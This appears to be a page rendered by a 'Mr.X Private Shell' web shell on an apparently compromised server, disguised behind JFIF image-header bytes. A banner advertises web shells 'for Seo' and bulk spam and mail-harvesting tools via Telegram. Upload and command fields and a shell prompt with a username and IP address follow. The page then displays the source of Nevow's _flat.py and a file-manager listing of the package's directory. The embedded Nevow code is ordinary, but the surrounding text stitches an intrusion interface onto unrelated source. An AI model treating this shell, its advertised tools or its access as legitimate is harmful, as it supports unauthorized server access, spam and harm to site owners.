����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eurolloncard@216.73.217.25: ~ $
# -*- test-case-name: nevow.test.test_newflat -*-
# Copyright (c) 2008 Divmod.
# See LICENSE for details.

"""
Context-free flattener/serializer for rendering Python objects, possibly
complex or arbitrarily nested, as strings.

Immediate future plans:

  - Deprecate IRenderer and getFlattener cases in _flatten
  - Write a precompiler which is more friendly towards _flatten
  - Write a pretty "render stack" formatter for the information in
    FlattenerError._roots

"""

from sys import exc_info
from types import GeneratorType
from traceback import extract_tb, format_list

from twisted.internet.defer import Deferred

from nevow.inevow import IRenderable, IRenderer, IRendererFactory, IData
from nevow.inevow import IRequest
from nevow.url import URL
from nevow.stan import _PrecompiledSlot, Unset, Proto, Tag, Entity, slot, xml
from nevow.stan import directive
from nevow.context import WovenContext
from nevow.flat.flatstan import allowSingleton
from nevow.flat import flattenFactory
from nevow.flat.ten import getFlattener
from nevow.tags import raw


class FlattenerError(Exception):
    """
    An error occurred while flattening an object.

    @ivar _roots: A list of the objects on the flattener's stack at the time
        the unflattenable object was encountered.  The first element is least
        deeply nested object and the last element is the most deeply nested.
    """
    def __init__(self, exception, roots, traceback):
        self._exception = exception
        self._roots = roots
        self._traceback = traceback
        Exception.__init__(self, exception, roots, traceback)


    def _formatRoot(self, obj):
        """
        Convert an object from C{self._roots} to a string suitable for
        inclusion in a render-traceback (like a normal Python traceback, but
        can include "frame" source locations which are not in Python source
        files).

        @param obj: Any object which can be a render step I{root}.
            Typically, L{Tag}s, strings, and other simple Python types.

        @return: A string representation of C{obj}.
        @rtype: L{str}
        """
        if isinstance(obj, (str, unicode)):
            # It's somewhat unlikely that there will ever be a str in the roots
            # list.  However, something like a MemoryError during a str.replace
            # call (eg, replacing " with &quot;) could possibly cause this.
            # Likewise, UTF-8 encoding a unicode string to a byte string might
            # fail like this.
            if len(obj) > 40:
                if isinstance(obj, str):
                    prefix = 1
                else:
                    prefix = 2
                return repr(obj[:20])[:-1] + '<...>' + repr(obj[-20:])[prefix:]
            else:
                return repr(obj)
        elif isinstance(obj, Tag):
            if obj.filename is None:
                return 'Tag <' + obj.tagName + '>'
            else:
                return "File \"%s\", line %d, column %d, in \"%s\"" % (
                    obj.filename, obj.lineNumber,
                    obj.columnNumber, obj.tagName)
        else:
            return repr(obj)


    def __repr__(self):
        if self._roots:
            roots = '  ' + '\n  '.join([
                    self._formatRoot(r) for r in self._roots]) + '\n'
        else:
            roots = ''
        if self._traceback:
            traceback = '\n'.join([
                    line
                    for entry in format_list(self._traceback)
                    for line in entry.splitlines()]) + '\n'
        else:
            traceback = ''
        return (
            'Exception while flattening:\n' +
            roots + traceback +
            self._exception.__class__.__name__ + ': ' +
            str(self._exception) + '\n')


    def __str__(self):
        return repr(self)



class UnfilledSlot(Exception):
    """
    During flattening, a slot with no associated data was encountered.
    """
    def __str__(self):
        return 'UnfilledSlot(%r)' % self.args



class UnsupportedType(Exception):
    """
    During flattening, an object of a type which cannot be flattened was
    encountered.
    """
    def __str__(self):
        return "UnsupportedType(%r)" % self.args



def escapedData(data, inAttribute, inXML):
    """
    Escape a string for inclusion in a document.

    @type data: C{str}
    @param data: The string to escape.

    @type inAttribute: C{bool}
    @param inAttribute: A flag which, if set, indicates that the string should
        be quoted for use as the value of an XML tag value.

    @type inXML: C{bool}
    @param inXML: A flag which, if set, indicates that the string should be
        quoted for use as an XML text node or as the value of an XML tag value.

    @rtype: C{str}
    @return: The quoted form of C{data}.
    """
    if inXML or inAttribute:
        data = data.replace('&', '&amp;'
            ).replace('<', '&lt;'
            ).replace('>', '&gt;')
    if inAttribute:
        data = data.replace('"', '&quot;')
    return data



def _ctxForRequest(request, slotData, renderFactory, inAttribute):
    """
    Create a L{WovenContext} which can be used to by the
    backwards-compatibility support of L{IRenderer} and L{getFlattener} to
    continue rendering a response for the given request.
    """
    ctx = WovenContext()
    ctx.isAttrib = inAttribute
    ctx.remember(None, IData) # Even though IData(ctx) can never return None,
                              # remembering None here is somehow very important
                              # for preventing a TypeError from happening when
                              # ctx.locate(IData) is invoked, since it is
                              # sometimes invoked from a codepath other than
                              # __conform__. -exarkun
    ctx.remember(request, IRequest)
    for slotGroup in slotData:
        if slotGroup is not None:
            for k, v in slotGroup.items():
                ctx.fillSlots(k, v)
    if renderFactory is not None:
        ctx.remember(_OldRendererFactory(renderFactory), IRendererFactory)
    return ctx



def _getSlotValue(name, slotData):
    """
    Find the value of the named slot in the given stack of slot data.
    """
    for slotFrame in slotData[::-1]:
        if slotFrame is not None and name in slotFrame:
            return slotFrame[name]
    else:
        raise UnfilledSlot(name)



def _flatten(request, write, root, slotData, renderFactory, inAttribute, inXML):
    """
    Make C{root} slightly more flat by yielding all or part of it as strings or
    generators.

    @param request: A request object which will be passed to
        L{IRenderable.render}.

    @param root: An object to be made flatter.  This may be of type C{unicode},
        C{str}, L{raw}, L{Proto}, L{xml}, L{slot}, L{_PrecompiledSlot}, L{Tag},
        L{URL}, L{tuple}, L{list}, L{GeneratorType}, L{Entity}, L{Deferred}, or
        it may be an object which is adaptable to L{IRenderable}.  Deprecated
        backwards-compatibility support is also present for objects adaptable
        to L{IRenderer} or for which a flattener has been registered via
        L{registerFlattener}.

    @param slotData: A C{list} of C{dict} mapping C{str} slot names to data
        with which those slots will be replaced.

    @param inAttribute: A flag which, if set, indicates that C{str} and
        C{unicode} instances encountered must be quoted as for XML tag
        attribute values.

    @param inXML: A flag which, if set, indicates that C{str} and C{unicode}
        instances encountered must be quoted as for XML text node data.

    @return: An iterator which yields C{str}, L{Deferred}, and more iterators
        of the same type.
    """
    if isinstance(root, unicode):
        root = root.encode('utf-8')
    elif isinstance(root, WovenContext):
        # WovenContext is supported via the getFlattener case, but that is a
        # very slow case.  Checking here is an optimization.  It also lets us
        # avoid the deprecation warning which would be emitted whenever a
        # precompiled document was flattened, since those contain WovenContexts
        # for tags with render directives. -exarkun
        inAttribute = root.isAttrib
        inXML = True
        root = root.tag

    if isinstance(root, raw):
        root = str(root)
        if inAttribute:
            root = root.replace('"', '&quot;')
        write(root)
    elif isinstance(root, Proto):
        root = str(root)
        if root:
            if root in allowSingleton:
                write('<' + root + ' />')
            else:
                write('<' + root + '></' + root + '>')
    elif isinstance(root, str):
        write(escapedData(root, inAttribute, inXML))
    elif isinstance(root, slot):
        slotValue = _getSlotValue(root.name, slotData)
        yield _flatten(request, write, slotValue, slotData, renderFactory,
                       inAttribute, inXML)
    elif isinstance(root, _PrecompiledSlot):
        slotValue = _getSlotValue(root.name, slotData)
        yield _flatten(request, write, slotValue, slotData, renderFactory,
                       root.isAttrib, inXML)
    elif isinstance(root, Tag):
        if root.pattern is Unset or root.pattern is None:
            slotData.append(root.slotData)
            if root.render is Unset:
                if not root.tagName:
                    yield _flatten(request, write, root.children,
                                   slotData, renderFactory,
                                   False, True)
                else:
                    write('<')
                    if isinstance(root.tagName, unicode):
                        tagName = root.tagName.encode('ascii')
                    else:
                        tagName = str(root.tagName)
                    write(tagName)
                    for k, v in sorted(root.attributes.iteritems()):
                        if isinstance(k, unicode):
                            k = k.encode('ascii')
                        write(" " + k + "=\"")
                        yield _flatten(request, write, v, slotData,
                                       renderFactory, True, True)
                        write("\"")
                    if root.children or tagName not in allowSingleton:
                        write('>')
                        yield _flatten(request, write, root.children,
                                       slotData, renderFactory,
                                       False, True)
                        write('</' + tagName + '>')
                    else:
                        write(' />')
            else:
                if isinstance(root.render, directive):
                    rendererName = root.render.name
                else:
                    rendererName = root.render
                root = root.clone(False)
                del root._specials['render']
                result = renderFactory.renderer(rendererName)(request, root)
                yield _flatten(request, write, result, slotData, renderFactory,
                               None, inXML)
            slotData.pop()
    elif isinstance(root, URL):
        write(escapedData(str(root), inAttribute, inXML))
    elif isinstance(root, (tuple, list, GeneratorType)):
        for element in root:
            yield _flatten(request, write, element, slotData, renderFactory,
                           inAttribute, inXML)
    elif isinstance(root, Entity):
        write('&#')
        write(root.num)
        write(';')
    elif isinstance(root, xml):
        if isinstance(root.content, unicode):
            write(root.content.encode('utf-8'))
        else:
            write(root.content)
    elif isinstance(root, Deferred):
        yield root.addCallback(
            lambda result: (result, _flatten(request, write, result, slotData,
                                             renderFactory, inAttribute,
                                             inXML)))
    else:
        renderable = IRenderable(root, None)
        if renderable is not None:
            # [] for the slotData parameter of this call to _flatten means
            # slots returned by this renderable's render method won't be filled
            # with data which has so far accumulated in the slotData stack.
            # This seems like a reasonable thing to me, since a renderable is a
            # piece of Python code.  It should be isolated from this other
            # stuff, which is primarily data. -exarkun
            yield _flatten(request, write, renderable.render(request), [],
                           renderable, inAttribute, inXML)
        else:
            renderer = IRenderer(root, None)
            if renderer is not None:
                ctx = _ctxForRequest(request, slotData, None, inAttribute)
                results = []
                synchronous = []
                flattened = flattenFactory(renderer, ctx, results.append,
                                           lambda ign: None)
                def cbFlattened(result):
                    synchronous.append(None)
                    return (result, (str(s) for s in results))
                flattened.addCallback(cbFlattened)
                if synchronous:
                    write(''.join(map(str, results)))
                else:
                    yield flattened
            else:
                flattener = getFlattener(root)
                if flattener is not None:
                    ctx = _ctxForRequest(request, slotData, renderFactory,
                                         inAttribute)
                    yield _flatten(request, write, flattener(root, ctx),
                                   slotData, renderFactory, False, False)
                else:
                    raise UnsupportedType(root)



class _OldRendererFactory(object):
    """
    Adapter from L{IRenderable} to L{IRenderFactory}, used to provide support
    for using the old flattener on new kinds of view objects.
    """
    def __init__(self, newRendererFactory):
        self.newRendererFactory = newRendererFactory


    def renderer(self, context, name):
        f = self.newRendererFactory.renderer(name)
        def render(ctx, data):
            return f(
                IRequest(ctx, None),
                ctx.tag,
                )
        return render



def flatten(request, write, root, inAttribute, inXML):
    """
    Make C{root} into an iterable of C{str} and L{Deferred}.

    @param request: A request object which will be passed to
        L{IRenderable.render}.

    @param root: An object to be made flatter.  This may be of type C{unicode},
        C{str}, L{Proto}, L{slot}, L{Tag}, L{URL}, L{tuple}, L{list},
        L{Entity}, L{Deferred}, or it may be an object which is adaptable to
        L{IRenderable}.

    @type inAttribute: C{bool}
    @param inAttribute: A flag which, if set, indicates that the string should
        be quoted for use as the value of an XML tag value.

    @type inXML: C{bool}
    @param inXML: A flag which, if set, indicates that the string should be
        quoted for use as an XML text node or as the value of an XML tag value.

    @return: An iterator which yields objects of type C{str} and L{Deferred}.
        A L{Deferred} is only yielded when one is encountered in the process of
        flattening C{root}.  The returned iterator must not be iterated again
        until the L{Deferred} is called back.
    """
    stack = [_flatten(request, write, root, [], None, inAttribute, inXML)]
    while stack:
        try:
            # In Python 2.5, after an exception, a generator's gi_frame is
            # None.
            frame = stack[-1].gi_frame
            element = stack[-1].next()
        except StopIteration:
            stack.pop()
        except Exception, e:
            stack.pop()
            roots = []
            for generator in stack:
                roots.append(generator.gi_frame.f_locals['root'])
            roots.append(frame.f_locals['root'])
            raise FlattenerError(e, roots, extract_tb(exc_info()[2]))
        else:
            if type(element) is str:
                write(element)
            elif isinstance(element, Deferred):
                def cbx((original, toFlatten)):
                    stack.append(toFlatten)
                    return original
                yield element.addCallback(cbx)
            else:
                stack.append(element)



def _flattensome(state, write, schedule, result):
    """
    Take strings from an iterator and pass them to a writer function.

    @param state: An iterator of C{str} and L{Deferred}.  C{str} instances will
        be passed to C{write}.  L{Deferred} instances will be waited on before
        resuming iteration of C{state}.

    @param write: A callable which will be invoked with each C{str}
        produced by iterating C{state}.

    @param schedule: A callable which will arrange for a function to be called
        with some positional arguments I{later}.  This is used to avoid
        unbounded call stack depth due to already-fired L{Deferred}s produced
        by C{state}.

    @param result: A L{Deferred} which will be called back when C{state} has
        been completely flattened into C{write} or which will be errbacked if
        an unexpected exception occurs.

    @return: C{None}
    """
    while True:
        try:
            element = state.next()
        except StopIteration:
            result.callback(None)
        except:
            result.errback()
        else:
            if type(element) is str:
                write(element)
                continue
            else:
                def cby(original):
                    schedule(_flattensome, state, write, schedule, result)
                    return original
                element.addCallbacks(cby, result.errback)
        break



def _schedule(f, *a):
    """
    Scheduler for use with L{_flattensome} which uses L{IReactorTime.callLater}
    to schedule calls.  This works around the fact that L{Deferred} can exceed
    the stack limit in certain cases.
    """
    # XXX SUCKY
    from twisted.internet import reactor
    reactor.callLater(0, f, *a)



def deferflatten(request, root, inAttribute, inXML, write):
    """
    Incrementally write out a string representation of C{root} using C{write}.

    In order to create a string representation, C{root} will be decomposed into
    simpler objects which will themselves be decomposed and so on until strings
    or objects which can easily be converted to strings are encountered.

    @param request: A request object which will be passed to the C{render}
        method of any L{IRenderable} provider which is encountered.

    @param root: An object to be made flatter.  This may be of type C{unicode},
        C{str}, L{raw}, L{Proto}, L{xml}, L{slot}, L{_PrecompiledSlot}, L{Tag},
        L{URL}, L{tuple}, L{list}, L{GeneratorType}, L{Entity}, L{Deferred}, or
        it may be an object which is adaptable to L{IRenderable}.  Deprecated
        backwards-compatibility support is also present for objects adaptable
        to L{IRenderer} or for which a flattener has been registered via
        L{registerFlattener}.

    @type inAttribute: C{bool}
    @param inAttribute: A flag which, if set, indicates that the string should
        be quoted for use as the value of an XML tag value.

    @type inXML: C{bool}
    @param inXML: A flag which, if set, indicates that the string should be
        quoted for use as an XML text node or as the value of an XML tag value.

    @param write: A callable which will be invoked with each C{str}
        produced by flattening C{root}.

    @return: A L{Deferred} which will be called back when C{root} has
        been completely flattened into C{write} or which will be errbacked if
        an unexpected exception occurs.
    """
    result = Deferred()
    state = flatten(request, write, root, inAttribute, inXML)
    _flattensome(state, write, _schedule, result)
    return result

Filemanager

Name Type Size Permission Actions
athena_private Folder 0755
css Folder 0755
flat Folder 0755
js Folder 0755
livetrial Folder 0755
plugins Folder 0755
scripts Folder 0755
taglibrary Folder 0755
test Folder 0755
Canvas.fla File 36.5 KB 0775
Canvas.swf File 5.61 KB 0664
__init__.py File 13.85 KB 0644
__init__.pyc File 14.41 KB 0644
_flat.py File 19.63 KB 0644
_flat.pyc File 19.03 KB 0644
_version.py File 537 B 0644
_version.pyc File 676 B 0644
_widget_plugin.py File 3.34 KB 0644
_widget_plugin.pyc File 5.32 KB 0644
accessors.py File 3.68 KB 0644
accessors.pyc File 6.22 KB 0644
appserver.py File 17.58 KB 0644
appserver.pyc File 22.34 KB 0644
athena.py File 65.41 KB 0644
athena.pyc File 75.71 KB 0644
blocks.py File 6.13 KB 0644
blocks.pyc File 7.16 KB 0644
canvas.as File 6.55 KB 0775
canvas.py File 15.12 KB 0644
canvas.pyc File 23.64 KB 0644
compression.py File 6.15 KB 0644
compression.pyc File 9.18 KB 0644
compy.py File 2.29 KB 0644
compy.pyc File 2.92 KB 0644
context.py File 11.25 KB 0644
context.pyc File 12.77 KB 0644
dirlist.py File 4.51 KB 0644
dirlist.pyc File 4.88 KB 0644
empty-module.css File 0 B 0664
empty-module.js File 0 B 0664
entities.py File 11.3 KB 0644
entities.pyc File 14.99 KB 0644
errors.py File 1.29 KB 0644
errors.pyc File 2.39 KB 0644
events.py File 1.45 KB 0644
events.pyc File 2.48 KB 0644
failure.py File 6.51 KB 0644
failure.pyc File 7.57 KB 0644
guard.py File 21.07 KB 0644
guard.pyc File 23.02 KB 0644
i18n.py File 5.95 KB 0644
i18n.pyc File 7.41 KB 0644
inevow.py File 21.94 KB 0644
inevow.pyc File 36.34 KB 0644
itaglibrary.py File 82 B 0644
itaglibrary.pyc File 491 B 0644
json.py File 8.3 KB 0644
json.pyc File 13.49 KB 0644
jsutil.py File 3.83 KB 0644
jsutil.pyc File 4.22 KB 0644
loaders.py File 7.06 KB 0644
loaders.pyc File 8.33 KB 0644
page.py File 4.51 KB 0644
page.pyc File 5.58 KB 0644
query.py File 3.37 KB 0644
query.pyc File 6.17 KB 0644
rend.py File 29.16 KB 0644
rend.pyc File 36.3 KB 0644
stan.py File 20.95 KB 0644
stan.pyc File 29.03 KB 0644
static.py File 13.16 KB 0644
static.pyc File 16.45 KB 0644
tags.py File 1.91 KB 0644
tags.pyc File 2.72 KB 0644
testutil.py File 17.34 KB 0644
testutil.pyc File 26.98 KB 0644
url.py File 20.12 KB 0644
url.pyc File 25.41 KB 0644
useragent.py File 4.86 KB 0644
useragent.pyc File 4.88 KB 0644
util.py File 7.01 KB 0644
util.pyc File 9.55 KB 0644
vhost.py File 7.01 KB 0644
vhost.pyc File 9.45 KB 0644